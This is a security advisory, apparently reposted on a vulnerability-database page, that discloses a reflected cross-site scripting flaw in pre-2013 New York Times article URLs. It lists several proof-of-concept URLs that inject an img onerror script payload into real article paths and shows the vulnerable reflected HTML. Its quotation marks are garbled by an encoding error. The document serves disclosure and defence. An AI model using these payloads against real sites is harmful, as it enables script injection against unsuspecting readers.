`New York Times nytimes.com Page Design XSS Vulnerability (Almost all
Article Pages Before 2013 are Affected)
Domain:
http://www.nytimes.com/
Vulnerability Description:
The vulnerability occurs at New York Timesâs URLs. Nytimes (short for New
York Times) uses part of the URLs to construct its pages. However, it seems
that Nytimes does not filter the content used for the construction at all
before 2013.
Based on Nytimesâs Design, Almost all URLs before 2013 are affected (All
pages of articles). In fact, all article pages that contain âPRINTâ button,
âSINGLE PAGEâ button, âPage *â button, âNEXT PAGEâ button are affected.
Nytimes changed this mechanism since 2013. It decodes the URLs sent to its
server. This makes the mechanism much safer now.
However, all URLs before 2013 are still using the old mechanism. This means
almost all article pages before 2013 are still vulnerable to XSS attacks. I
guess the reason Nytimes does not filter URLs before is cost. It costs too
much (money & human capital) to change the database of all posted articles
before.
Living POCs:
http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/â><img
src=x onerror=prompt(âjustqdjingâ)>
http://www.nytimes.com/2011/01/09/travel/09where-to-go.html/â><img src=x
onerror=prompt(âjustqdjingâ)>?pagewanted=all&_r=0
http://www.nytimes.com/2010/12/07/opinion/07brooks.html/â><img src=x
onerror=prompt(âjustqdjingâ)>
http://www.nytimes.com/2009/08/06/technology/06stats.html/â><img src=x
onerror=prompt(âjustqdjingâ)>
http://www.nytimes.com/2008/07/09/dining/091crex.html/â><img src=x
onerror=prompt(âjustqdjingâ)>
http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html/â><img src=x
onerror=prompt(âjustqdjingâ)>
POC Video:
https://www.youtube.com/user/tetraph
Vulnerability Analysis:
Take the following link as an example,
http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/
â><vulnerabletoattack
We can see that for the page reflected, it contains the following codes.
All of them are vulnerable.
<li class=âprintâ>
<a
href=â/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/â><vulnerabletoattack?pagewanted=printâ>Print</testtesttest?pagewanted=printâ></a>
</li>
<li class=âsinglePageâ>
<a
href=â/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/â><testtesttest?pagewanted=allâ>
Single Page</vulnerabletoattack?pagewanted=allâ></a>
</li>
<li> <a onclick=âs_code_linktrack(âArticle-MultiPagePageNum2â˛);â
title=âPage 2âł
href=â/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/â><vulnerabletoattack?pagewanted=2âł>2</testtesttest?pagewanted=2âł></a>
</li>
<li> <a onclick=âs_code_linktrack(âArticle-MultiPagePageNum3â˛);â
title=âPage 3âł
href=â/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/â><vulnerabletoattack?pagewanted=3âł>3</testtesttest?pagewanted=3âł></a>
</li>
<a class=ânextâ onclick=âs_code_linktrack(âArticle-MultiPage-Nextâ);â
title=âNext Pageâ
href=â/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/â><vulnerabletoattack?pagewanted=2âł>Next
Page Âť</testtesttest?pagewanted=2âł></a>
The vulnerability can be attacked without user login. Tests were performed
on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.
Cross-site scripting (XSS) is a type of computer security vulnerability
typically found in Web applications. XSS enables attackers to inject
client-side script into Web pages viewed by other users. A cross-site
scripting vulnerability may be used by attackers to bypass access controls
such as the same origin policy.
Reported By:
Wang Jing, mathematics student from Nanyang Technological University,
Singapore.
http://tetraph.com/wangjing/
More Details:
http://www.tetraph.com/blog/xss-vulnerability/new-york-times-nytimes-com-page-design-xss-vulnerability-almost-all-article-pages-are-affected/
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation